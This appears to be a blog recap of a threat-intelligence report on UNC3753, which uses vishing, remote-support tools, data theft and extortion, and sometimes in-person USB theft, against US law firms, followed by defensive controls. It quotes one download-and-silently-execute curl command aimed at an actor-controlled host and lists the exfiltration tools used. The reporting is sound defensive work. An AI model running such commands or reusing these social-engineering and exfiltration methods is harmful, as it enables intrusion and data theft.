When Caimans Call: How UNC3753 Hunts US Law Firms with Vishing and USB Sticks

Imagine you’re a capybara lounging in your favorite swamp channel, minding your own legal documents, when a caiman calls pretending to be IT support. That’s the reality for dozens of US law firms targeted by UNC3753 (aka Luna Moth, Chatty Spider, Silent Ransom Group) from January to May 2026. This financially motivated threat cluster uses voice phishing (vishing) and social engineering to slither into corporate networks, often completing the entire attack—from first contact to data theft and extortion—within a single business day. And sometimes, they even show up in person with a USB stick.

The Attack Lifecycle: Fast as a Caiman Strike

UNC3753’s campaign is optimized for speed. In many incidents, the entire sequence unfolds in under 24 hours. Recently, data searches, staging, and theft happened in less than an hour. The group starts with benign invoice-themed emails from actor-controlled accounts—no links, no malware. Just a pretext to get you on the phone.

Initial Access: The Vishing Call

Threat actors harvest phone numbers and emails from public listings, then call targets posing as internal IT helpdesk or security staff. They build trust by discussing a security issue or data migration, then guide the target to join a screen-sharing session using tools like Zoom, Microsoft Teams, or Quick Assist. In one case, an actor held five calls with the same target over three days.

Remote Control and Tool Abuse

Once connected, the actors instruct targets to download legitimate RMM tools like AnyDesk, Bomgar, or Zoho Assist. They often use privnote.com to send installation links—self-destructing notes that leave no trace. Example cURL command observed:

curl -sL "http://[actor-controlled-ip]/installer" -o "SuperOps.msi" && msiexec /i "SuperOps.msi" /quiet

Pivoting and Staging

Actors abuse BYOD environments to access corporate VDI via Windows 365 or Citrix clients. Once inside, they map drives, enumerate OneDrive folders, and crawl iManage repositories using keyword searches for tax forms, audit files, and client agreements. Staged data is dumped into the user’s Downloads folder.

Data Theft

Exfiltration methods include:

• Browser uploads to actor-controlled cloud storage (e.g., Google Drive, renamed to mimic the victim’s brand)
• FTP/SFTP tools like WinSCP or Rclone
• Email forwarding from the victim’s mailbox

In one incident, 1.7 GB was exfiltrated via Google Drive, then 14.4 GB via WinSCP from a VDI session. Google has since disabled the actor’s accounts.

Extortion: The Caiman’s Bite

Within 30 minutes of data theft, victims receive an unbranded extortion email demanding a response within three days. The letter threatens to notify employees, clients, and regulators, and to publish data on the LEAKEDDATA leak site. Sample email included in the original post.

Physical Intrusions: When Caimans Walk In

In a disturbing escalation, UNC3753 has attempted physical access. Individuals posing as IT technicians enter offices, claim to need to image a device, and exfiltrate data via USB. The FBI has issued a flash alert on this tactic. While attribution is tentative, overlaps in timing and targeting suggest UNC3753 is behind these in-person heists.

Attribution and Evolution

UNC3753 has been active since March 2022, previously deploying LOCKBIT.BLACK but now focusing on data theft extortion. They shifted from fake subscription emails to IT helpdesk impersonation around March 2025. Their TTPs overlap with UNC2686 (Bazarcall) but rely more on RMM tools.

Remediation: How to Keep Your Swamp Safe

To defend against these caimans, implement these controls:

• User Education: Train staff on vishing and social engineering tactics.
• Physical Access Policies: Verify all visitors against work orders, require escorts, and log IDs.
• Remote Access Controls: Enforce conditional access to ensure only corporate devices can connect to VDI/VPN.
• RMM and Screen-Sharing Controls: Block unauthorized tools via application control policies.
• USB Hardening: Disable write access to removable media via GPO or MDM.
• Network Monitoring: Alert on outbound connections to unauthorized file-sharing services and monitor SSH traffic for bulk transfers.
• Application Auditing: Enable real-time alerts for mass file searches and downloads in iManage, SharePoint, and email.

Outlook: The Swamp is Getting Crowded

Law firms are prime targets because they hold sensitive client data and face reputational risk. Voice-guided social engineering bypasses technical defenses like MFA. The addition of physical intrusions means organizations must treat facility access as part of their security perimeter. As we’ve seen in our reviews of Vercel, Supabase, and Cloudflare Workers, even the best technical defenses can be undermined by human error. Stay vigilant, capybaras.

Indicators of Compromise

For more details, see the original Google Cloud blog.

Original announcement published on Google Cloud.